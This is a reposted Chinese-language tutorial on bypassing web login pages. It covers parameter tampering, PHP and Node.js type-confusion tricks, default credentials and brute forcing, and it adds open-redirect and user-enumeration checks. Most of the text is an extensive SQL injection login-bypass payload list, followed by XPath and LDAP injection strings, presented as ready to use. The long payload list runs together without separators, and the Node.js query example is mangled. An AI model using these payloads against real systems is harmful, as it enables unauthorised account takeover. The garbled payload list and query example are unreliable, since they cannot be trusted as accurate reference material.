小白也能看懂系列:一文看懂登录绕过(bypass)

admin 2026-01-28 07:02:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述Web登录绕过技术,涵盖参数篡改、PHP比较错误及Node.js解析漏洞等逻辑缺陷。重点提供SQL、NoSQL、XPath及LDAP注入绕过Payload,建议检查记住我功能、开放重定向及用户枚举风险。该文档为安全测试人员提供实用的登录接口检测指南,帮助识别身份认证机制中的潜在漏洞。 综合评分: 78 文章分类: 渗透测试,漏洞POC,WEB安全,漏洞分析


cover_image

小白也能看懂系列:一文看懂登录绕过(bypass )

原创

网络安全民工 网络安全民工

网络安全民工

2026年1月27日 13:25 天津

登录绕过

绕过常规登录

如果你找到了登录页面,这里提供了一些绕过登录的方法:

  • 查看comments页面内部(向下滚动并向右滚动?)

  • 检查您是否可以直接访问受限页面

  • 勾选此项,不要发送参数(不发送任何参数或只发送一个参数)。

  • 检查 PHP 比较错误:user[]=a&pwd=b,,user=a&pwd[]=b``user[]=a&pwd[]=b

  • 将内容类型更改为 json 并发送 json 值(包含布尔值 true)

  • 如果收到不支持的响应,POST您可以尝试在JSON请求正文中发送该内容,但同时使用GET带有以下信息的请求:Content-Type: application/json

  • 检查 Node.js 可能存在的解析错误(请阅读此文):password[password]=1

  • Nodejs 会将该有效负载转换为类似于以下的查询:

  SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin'AND````password=password=1;

这使得密码位始终为真。

  • 如果您可以发送 JSON 对象,则可以发送“password”:{“password”: 1} 来绕过登录。

  • 请记住,要绕过此登录步骤,您仍然需要知道并发送一个有效的用户名。

  • 在调用时添加"stringifyObjects":true选项mysql.createConnection最终将阻止所有通过Object参数传递的意外行为

  • 检查凭证:

  • 所用技术/平台的默认凭据

  • 常见组合(root、admin、密码、技术人员姓名、默认用户,密码为上述任一密码)

  • 使用 Cewl 创建一个字典,添加默认用户名和密码(如果有),然后尝试使用字典中的所有单词作为用户名和密码进行暴力破解。

  • 使用更大的字典进行暴力破解(暴力破解)

SQL注入身份验证绕过

下面列出了一个自定义列表,可用于尝试通过 SQL 注入绕过登录:

adminpassword1234123456roottoortestguest' or '1'='1' or ''='' or 1]%00'&nbsp;or&nbsp;/*&nbsp;or&nbsp;''&nbsp;or&nbsp;"a"&nbsp;or&nbsp;''&nbsp;or&nbsp;1&nbsp;or&nbsp;''&nbsp;or&nbsp;true()&nbsp;or&nbsp;''or&nbsp;string-length(name(.))<10&nbsp;or''or&nbsp;contains(name,'adm')&nbsp;or''or&nbsp;contains(.,'adm')&nbsp;or''or&nbsp;position()=2&nbsp;or'admin'&nbsp;or&nbsp;'admin'&nbsp;or&nbsp;'1'='2**)(&*)(|(&pwd)*)(|(**))%00admin)(&)pwdadmin)(!(&(|pwd))admin))(|(|1234'-''&nbsp;''&''^''*''&nbsp;or&nbsp;''-''&nbsp;or&nbsp;''&nbsp;''&nbsp;or&nbsp;''&''&nbsp;or&nbsp;''^''&nbsp;or&nbsp;''*'"-"" ""&""^""*"" or ""-"" or "" "" or ""&"" or ""^"" or ""*"or true--" or true--'&nbsp;or&nbsp;true--") or true--') or true--' or 'x'='x') or ('x')=('x')) or (('x'))=(('x"&nbsp;or&nbsp;"x"="x")&nbsp;or&nbsp;("x")=("x"))&nbsp;or&nbsp;(("x"))=(("xor 1=1or 1=1--or 1=1#or 1=1/*admin' --admin' #admin'/*admin' or '1'='1admin' or '1'='1'--admin' or '1'='1'#admin' or '1'='1'/*admin'or 1=1 or ''='admin' or 1=1admin' or 1=1--admin' or 1=1#admin' or 1=1/*admin') or ('1'='1admin') or ('1'='1'--admin') or ('1'='1'#admin') or ('1'='1'/*admin') or '1'='1admin') or '1'='1'--admin') or '1'='1'#admin') or '1'='1'/*1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed0551234 ' AND 1=0 UNION ALL SELECT 'admin', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220admin" --admin" #admin"/*admin" or "1"="1admin" or "1"="1"--admin"&nbsp;or&nbsp;"1"="1"#admin" or "1"="1"/*admin"or&nbsp;1=1&nbsp;or&nbsp;""="admin"&nbsp;or&nbsp;1=1admin" or 1=1--admin"&nbsp;or&nbsp;1=1#admin" or 1=1/*admin")&nbsp;or&nbsp;("1"="1admin")&nbsp;or&nbsp;("1"="1"--admin") or ("1"="1"#admin")&nbsp;or&nbsp;("1"="1"/*admin") or "1"="1admin") or "1"="1"--admin")&nbsp;or&nbsp;"1"="1"#admin") or "1"="1"/*1234 " AND&nbsp;1=0&nbsp;UNION ALL SELECT&nbsp;"admin",&nbsp;"81dc9bdb52d04dc20036dbd8313ed0551234 " AND&nbsp;1=0&nbsp;UNION ALL SELECT&nbsp;"admin",&nbsp;"7110eda4d09e062aa5e4a390b0a572ac0d2c0220==='' --' #' –'--'/*'#" --" #"/*' and 1='1' and a='aor&nbsp;true' or ''='" or ""="1′)&nbsp;and&nbsp;'1′='1–' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055' AND 1=0 UNION ALL SELECT '', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220" AND 1=0 UNION ALL SELECT "", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220and&nbsp;1=1and&nbsp;1=1–' and 'one'='one' and 'one'='one–' group by password having 1=1--' group by userid having&nbsp;1=1--' group by username having 1=1--like '%'or&nbsp;0=0&nbsp;--or&nbsp;0=0&nbsp;#or&nbsp;0=0&nbsp;–' or &nbsp; &nbsp; &nbsp; &nbsp; 0=0 #'&nbsp;or&nbsp;0=0&nbsp;--' or 0=0 #'&nbsp;or&nbsp;0=0&nbsp;–" or 0=0 --"&nbsp;or&nbsp;0=0&nbsp;#" or 0=0 –%'&nbsp;or '0'='0or 1=1–' or 1=1--' or '1'='1' or '1'='1'--' or '1'='1'/*' or '1'='1'#' or '1′='1' or 1=1' or 1=1 --' or 1=1 –' or 1=1;#' or 1=1/*' or 1=1#' or 1=1–') or '1'='1') or '1'='1--') or '1'='1'--') or '1'='1'/*') or '1'='1'#') or ('1'='1') or ('1'='1--') or ('1'='1'--') or ('1'='1'/*') or ('1'='1'#'or'1=1'or'1=1′"&nbsp;or&nbsp;"1"="1"&nbsp;or&nbsp;"1"="1"--" or "1"="1"/*"&nbsp;or&nbsp;"1"="1"#" or 1=1"&nbsp;or&nbsp;1=1&nbsp;--" or 1=1 –"&nbsp;or&nbsp;1=1--" or 1=1/*"&nbsp;or&nbsp;1=1#" or 1=1–")&nbsp;or&nbsp;"1"="1")&nbsp;or&nbsp;"1"="1"--") or "1"="1"/*")&nbsp;or&nbsp;"1"="1"#") or ("1"="1") or ("1"="1"--")&nbsp;or&nbsp;("1"="1"/*") or ("1"="1"#) or '1′='1–) or ('1′='1–' or 1=1 LIMIT 1;#'or 1=1 or ''='"or&nbsp;1=1&nbsp;or&nbsp;""="' or a=a--' or a=a–"&nbsp;or&nbsp;"a"="a")&nbsp;or&nbsp;("a"="a') or ('a'='a and hi")&nbsp;or&nbsp;("a"="a' or 'one'='one' or 'one'='one–' or uid like '%' or uname like '%' or userid like '%' or user like '%' or username like '%') or ('x'='x' OR 'x'='x'#;'=' 'or' and '=' 'or'' UNION ALL SELECT 1,&nbsp;@@version;#' UNION ALL SELECT system_user(),user();#' UNION select table_schema,table_name FROM information_Schema.tables;#admin' and substring(password/text(),1,1)='7' and substring(password/text(),1,1)='7"'-- 2"-- 2'='0'&lt;'2"="0"&lt;"2')")')-- 2')/*')#")--&nbsp;2") #")/*')-('')&('')^('')*('')=('0')&lt;('2")-("")&("")^("")*("")=("0")&lt;("2'-''-- 2'-''#'-''/*'&''--&nbsp;2'&''#'&''/*'^''-- 2'^''#'^''/*'*''--&nbsp;2'*''#'*''/*'=''-- 2'=''#'=''/*0'&lt;'2'--&nbsp;20'&lt;'2'#0'&lt;'2'/*"-""-- 2"-""#"-""/*"&""--&nbsp;2"&""#"&""/*"^""-- 2"^""#"^""/*"*""--&nbsp;2"*""#"*""/*"=""-- 2"=""#"=""/*0"&lt;"2"--&nbsp;20"&lt;"2"#0"&lt;"2"/*')-''-- 2')-''#')-''/*')&''--&nbsp;2')&''#')&''/*')^''-- 2')^''#')^''/*')*''--&nbsp;2')*''#')*''/*')=''-- 2')=''#')=''/*0')&lt;'2'--&nbsp;20')&lt;'2'#0')&lt;'2'/*")-""-- 2")-""#")-""/*")&""--&nbsp;2")&""#")&""/*")^""-- 2")^""#")^""/*")*""--&nbsp;2")*""#")*""/*")=""-- 2")=""#")=""/*0")&lt;"2-- 20")&lt;"2#0")&lt;"2/*'oR'2'oR'2'-- 2'oR'2'#'oR'2'/*'oR'2'oR''oR(2)-- 2'oR(2)#'oR(2)/*'oR(2)oR''oR 2-- 2'oR 2#'oR 2/*'oR 2 oR''oR/**/2-- 2'oR/**/2#'oR/**/2/*'oR/**/2/**/oR'"oR"2"oR"2"--&nbsp;2"oR"2"#"oR"2"/*"oR"2"oR""oR(2)-- 2"oR(2)#"oR(2)/*"oR(2)oR""oR&nbsp;2--&nbsp;2"oR 2#"oR&nbsp;2/*"oR 2 oR""oR/**/2-- 2"oR/**/2#"oR/**/2/*"oR/**/2/**/oR"'oR'2'='2'oR'2'='2'oR''oR'2'='2'-- 2'oR'2'='2'#'oR'2'='2'/*'oR&nbsp;2=2--&nbsp;2'oR 2=2#'oR&nbsp;2=2/*'oR 2=2 oR''oR/**/2=2-- 2'oR/**/2=2#'oR/**/2=2/*'oR/**/2=2/**/oR''oR(2)=2-- 2'oR(2)=2#'oR(2)=2/*'oR(2)=(2)oR''oR'2'='2'&nbsp;LimIT&nbsp;1--&nbsp;2'oR'2'='2' LimIT 1#'oR'2'='2'&nbsp;LimIT&nbsp;1/*'oR(2)=(2)LimIT(1)-- 2'oR(2)=(2)LimIT(1)#'oR(2)=(2)LimIT(1)/*"oR"2"="2"oR"2"="2"oR""oR"2"="2"-- 2"oR"2"="2"#"oR"2"="2"/*"oR 2=2-- 2"oR 2=2#"oR 2=2/*"oR 2=2 oR""oR/**/2=2-- 2"oR/**/2=2#"oR/**/2=2/*"oR/**/2=2/**/oR""oR(2)=2-- 2"oR(2)=2#"oR(2)=2/*"oR(2)=(2)oR""oR"2"="2" LimIT 1-- 2"oR"2"="2" LimIT 1#"oR"2"="2" LimIT 1/*"oR(2)=(2)LimIT(1)-- 2"oR(2)=(2)LimIT(1)#"oR(2)=(2)LimIT(1)/*'oR true--&nbsp;2'oR true#'oR true/*'oR true oR''oR(true)-- 2'oR(true)#'oR(true)/*'oR(true)oR''oR/**/true-- 2'oR/**/true#'oR/**/true/*'oR/**/true/**/oR'"oR true-- 2"oR true#"oR true/*"oR true oR""oR(true)--&nbsp;2"oR(true)#"oR(true)/*"oR(true)oR""oR/**/true-- 2"oR/**/true#"oR/**/true/*"oR/**/true/**/oR"'oR'2'LiKE'2'oR'2'LiKE'2'-- 2'oR'2'LiKE'2'#'oR'2'LiKE'2'/*'oR'2'LiKE'2'oR''oR(2)LiKE(2)--&nbsp;2'oR(2)LiKE(2)#'oR(2)LiKE(2)/*'oR(2)LiKE(2)oR'"oR"2"LiKE"2"oR"2"LiKE"2"-- 2"oR"2"LiKE"2"#"oR"2"LiKE"2"/*"oR"2"LiKE"2"oR""oR(2)LiKE(2)--&nbsp;2"oR(2)LiKE(2)#"oR(2)LiKE(2)/*"oR(2)LiKE(2)oR"adminadmin'-- 2admin'#admin"-- 2admin"#ffifdyop' UniON SElecT 1,2-- 2' UniON SElecT&nbsp;1,2,3--&nbsp;2' UniON SElecT 1,2,3,4-- 2' UniON SElecT&nbsp;1,2,3,4,5--&nbsp;2' UniON SElecT 1,2#' UniON SElecT&nbsp;1,2,3#' UniON SElecT 1,2,3,4#' UniON SElecT&nbsp;1,2,3,4,5#'UniON(SElecT(1),2)-- 2'UniON(SElecT(1),2,3)--&nbsp;2'UniON(SElecT(1),2,3,4)-- 2'UniON(SElecT(1),2,3,4,5)--&nbsp;2'UniON(SElecT(1),2)#'UniON(SElecT(1),2,3)#'UniON(SElecT(1),2,3,4)#'UniON(SElecT(1),2,3,4,5)#" UniON SElecT 1,2-- 2" UniON SElecT&nbsp;1,2,3--&nbsp;2" UniON SElecT 1,2,3,4-- 2" UniON SElecT&nbsp;1,2,3,4,5--&nbsp;2" UniON SElecT 1,2#" UniON SElecT&nbsp;1,2,3#" UniON SElecT 1,2,3,4#" UniON SElecT&nbsp;1,2,3,4,5#"UniON(SElecT(1),2)-- 2"UniON(SElecT(1),2,3)--&nbsp;2"UniON(SElecT(1),2,3,4)-- 2"UniON(SElecT(1),2,3,4,5)--&nbsp;2"UniON(SElecT(1),2)#"UniON(SElecT(1),2,3)#"UniON(SElecT(1),2,3,4)#"UniON(SElecT(1),2,3,4,5)#'||'2'||2-- 2'||'2'||''||2#'||2/*'||2||'"||"2"||2-- 2"||"2"||""||2#"||2/*"||2||"'||'2'='2'||'2'='2'||''||2=2--&nbsp;2'||2=2#'||2=2/*'||2=2||'"||"2"="2"||"2"="2"||""||2=2-- 2"||2=2#"||2=2/*"||2=2||"'||2=(2)LimIT(1)-- 2'||2=(2)LimIT(1)#'||2=(2)LimIT(1)/*"||2=(2)LimIT(1)--&nbsp;2"||2=(2)LimIT(1)#"||2=(2)LimIT(1)/*'||true-- 2'||true#'||true/*'||true||'"||true-- 2"||true#"||true/*"||true||"'||'2'LiKE'2'||'2'LiKE'2'--&nbsp;2'||'2'LiKE'2'#'||'2'LiKE'2'/*'||'2'LiKE'2'||''||(2)LiKE(2)-- 2'||(2)LiKE(2)#'||(2)LiKE(2)/*'||(2)LiKE(2)||'"||"2"LiKE"2"||"2"LiKE"2"-- 2"||"2"LiKE"2"#"||"2"LiKE"2"/*"||"2"LiKE"2"||""||(2)LiKE(2)-- 2"||(2)LiKE(2)#"||(2)LiKE(2)/*"||(2)LiKE(2)||"')oR('2')oR'2'--&nbsp;2')oR'2'#')oR'2'/*')oR'2'oR('')oR(2)-- 2')oR(2)#')oR(2)/*')oR(2)oR('')oR&nbsp;2--&nbsp;2')oR 2#')oR&nbsp;2/*')oR 2 oR('')oR/**/2-- 2')oR/**/2#')oR/**/2/*')oR/**/2/**/oR('")oR("2")oR"2"-- 2")oR"2"#")oR"2"/*")oR"2"oR("")oR(2)--&nbsp;2")oR(2)#")oR(2)/*")oR(2)oR("")oR 2-- 2")oR&nbsp;2#")oR 2/*")oR&nbsp;2&nbsp;oR("")oR/**/2-- 2")oR/**/2#")oR/**/2/*")oR/**/2/**/oR("')oR'2'=('2')oR'2'='2'oR('')oR'2'='2'-- 2')oR'2'='2'#')oR'2'='2'/*')oR&nbsp;2=2--&nbsp;2')oR 2=2#')oR&nbsp;2=2/*')oR 2=2 oR('')oR/**/2=2-- 2')oR/**/2=2#')oR/**/2=2/*')oR/**/2=2/**/oR('')oR(2)=2-- 2')oR(2)=2#')oR(2)=2/*')oR(2)=(2)oR('')oR'2'='2'&nbsp;LimIT&nbsp;1--&nbsp;2')oR'2'='2' LimIT 1#')oR'2'='2'&nbsp;LimIT&nbsp;1/*')oR(2)=(2)LimIT(1)-- 2')oR(2)=(2)LimIT(1)#')oR(2)=(2)LimIT(1)/*")oR"2"=("2")oR"2"="2"oR("")oR"2"="2"-- 2")oR"2"="2"#")oR"2"="2"/*")oR 2=2-- 2")oR 2=2#")oR 2=2/*")oR 2=2 oR("")oR/**/2=2-- 2")oR/**/2=2#")oR/**/2=2/*")oR/**/2=2/**/oR("")oR(2)=2-- 2")oR(2)=2#")oR(2)=2/*")oR(2)=(2)oR("")oR"2"="2" LimIT 1-- 2")oR"2"="2" LimIT 1#")oR"2"="2" LimIT 1/*")oR(2)=(2)LimIT(1)-- 2")oR(2)=(2)LimIT(1)#")oR(2)=(2)LimIT(1)/*')oR true--&nbsp;2')oR true#')oR true/*')oR true oR('')oR(true)-- 2')oR(true)#')oR(true)/*')oR(true)oR('')oR/**/true-- 2')oR/**/true#')oR/**/true/*')oR/**/true/**/oR('")oR true-- 2")oR true#")oR true/*")oR true oR("")oR(true)--&nbsp;2")oR(true)#")oR(true)/*")oR(true)oR("")oR/**/true-- 2")oR/**/true#")oR/**/true/*")oR/**/true/**/oR("')oR'2'LiKE('2')oR'2'LiKE'2'-- 2')oR'2'LiKE'2'#')oR'2'LiKE'2'/*')oR'2'LiKE'2'oR('')oR(2)LiKE(2)--&nbsp;2')oR(2)LiKE(2)#')oR(2)LiKE(2)/*')oR(2)LiKE(2)oR('")oR"2"LiKE("2")oR"2"LiKE"2"-- 2")oR"2"LiKE"2"#")oR"2"LiKE"2"/*")oR"2"LiKE"2"oR("")oR(2)LiKE(2)--&nbsp;2")oR(2)LiKE(2)#")oR(2)LiKE(2)/*")oR(2)LiKE(2)oR("admin')-- 2admin')#admin')/*admin")-- 2admin")#') UniON SElecT&nbsp;1,2--&nbsp;2') UniON SElecT 1,2,3-- 2') UniON SElecT&nbsp;1,2,3,4--&nbsp;2') UniON SElecT 1,2,3,4,5-- 2') UniON SElecT&nbsp;1,2#') UniON SElecT 1,2,3#') UniON SElecT&nbsp;1,2,3,4#') UniON SElecT 1,2,3,4,5#')UniON(SElecT(1),2)--&nbsp;2')UniON(SElecT(1),2,3)-- 2')UniON(SElecT(1),2,3,4)--&nbsp;2')UniON(SElecT(1),2,3,4,5)-- 2')UniON(SElecT(1),2)#')UniON(SElecT(1),2,3)#')UniON(SElecT(1),2,3,4)#')UniON(SElecT(1),2,3,4,5)#") UniON SElecT 1,2-- 2") UniON SElecT 1,2,3-- 2") UniON SElecT 1,2,3,4-- 2") UniON SElecT 1,2,3,4,5-- 2") UniON SElecT 1,2#") UniON SElecT 1,2,3#") UniON SElecT 1,2,3,4#") UniON SElecT 1,2,3,4,5#")UniON(SElecT(1),2)-- 2")UniON(SElecT(1),2,3)-- 2")UniON(SElecT(1),2,3,4)-- 2")UniON(SElecT(1),2,3,4,5)-- 2")UniON(SElecT(1),2)#")UniON(SElecT(1),2,3)#")UniON(SElecT(1),2,3,4)#")UniON(SElecT(1),2,3,4,5)#')||('2')||2--&nbsp;2')||'2'||('')||2#')||2/*')||2||('")||("2")||2-- 2")||"2"||("")||2#")||2/*")||2||("')||'2'=('2')||'2'='2'||('')||2=2-- 2')||2=2#')||2=2/*')||2=2||('")||"2"=("2")||"2"="2"||("")||2=2--&nbsp;2")||2=2#")||2=2/*")||2=2||("')||2=(2)LimIT(1)-- 2')||2=(2)LimIT(1)#')||2=(2)LimIT(1)/*")||2=(2)LimIT(1)-- 2")||2=(2)LimIT(1)#")||2=(2)LimIT(1)/*')||true--&nbsp;2')||true#')||true/*')||true||('")||true-- 2")||true#")||true/*")||true||("')||'2'LiKE('2')||'2'LiKE'2'-- 2')||'2'LiKE'2'#')||'2'LiKE'2'/*')||'2'LiKE'2'||('')||(2)LiKE(2)-- 2')||(2)LiKE(2)#')||(2)LiKE(2)/*')||(2)LiKE(2)||('")||"2"LiKE("2")||"2"LiKE"2"--&nbsp;2")||"2"LiKE"2"#")||"2"LiKE"2"/*")||"2"LiKE"2"||("")||(2)LiKE(2)-- 2")||(2)LiKE(2)#")||(2)LiKE(2)/*")||(2)LiKE(2)||("' UnION SELeCT 1,2`' UnION SELeCT 1,2,3`' UnION SELeCT 1,2,3,4`' UnION SELeCT 1,2,3,4,5`" UnION SELeCT&nbsp;1,2`" UnION SELeCT 1,2,3`" UnION SELeCT 1,2,3,4`" UnION SELeCT&nbsp;1,2,3,4,5`' or 1=1 limit 1 -- -+'="or'Pass1234.Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658'#Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.')#Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61'#Pass1234.' and 1=0 union select 'admin',sha('Pass1234.Pass1234.' and 1=0 union select 'admin',sha('Pass1234.')#Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658"#Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.")#Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61"#Pass1234." and 1=0 union select "admin",sha("Pass1234.Pass1234." and 1=0 union select "admin",sha("Pass1234.")#%A8%27 Or 1=1-- 2%8C%A8%27 Or 1=1-- 2%bf' Or 1=1 -- 2%A8%27 Or 1-- 2%8C%A8%27 Or 1-- 2%bf' Or 1-- 2%A8%27Or(1)-- 2%8C%A8%27Or(1)-- 2%bf'Or(1)-- 2%A8%27||1-- 2%8C%A8%27||1-- 2%bf'||1-- 2%A8%27) Or 1=1-- 2%8C%A8%27) Or 1=1-- 2%bf') Or 1=1 -- 2%A8%27) Or 1-- 2%8C%A8%27) Or 1-- 2%bf') Or 1-- 2%A8%27)Or(1)-- 2%8C%A8%27)Or(1)-- 2%bf')Or(1)-- 2%A8%27)||1-- 2%8C%A8%27)||1-- 2%bf')||1-- 2

#

无 SQL 注入身份验证绕过

由于 NoSQL 注入需要更改参数值,因此您需要手动测试它们。

XPath注入身份验证绕过

' or '1'='1' or ''='' or 1]%00' or /* or&nbsp;'' or&nbsp;"a"&nbsp;or&nbsp;'' or 1 or&nbsp;'' or&nbsp;true() or&nbsp;''or string-length(name(.))<10 or''or contains(name,'adm') or''or contains(.,'adm') or''or position()=2 or'admin' or&nbsp;'admin' or&nbsp;'1'='2

LDAP注入认证绕过

**)(&*)(|(&pwd)*)(|(**))%00admin)(&)pwdadmin)(!(&(|pwd))admin))(|(|

记住账号

如果页面有“记住我”功能,请检查其实现方式,看看是否可以利用该功能来接管其他账户。

重定向

页面通常会在用户登录后进行重定向,检查是否可以修改该重定向以触发开放重定向。如果将用户重定向到您的网站,您或许可以窃取一些信息(例如代码、Cookie 等)。

其他检查

  • 检查是否可以列举出滥用登录功能的用户名。
  • 检查密码/敏感信息表单输入中的自动完成功能是否已启用:<input autocomplete=”false”

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全民工 网络安全民工 网络安全民工《小白也能看懂系列:一文看懂登录绕过(bypass )》

评论:0   参与:  0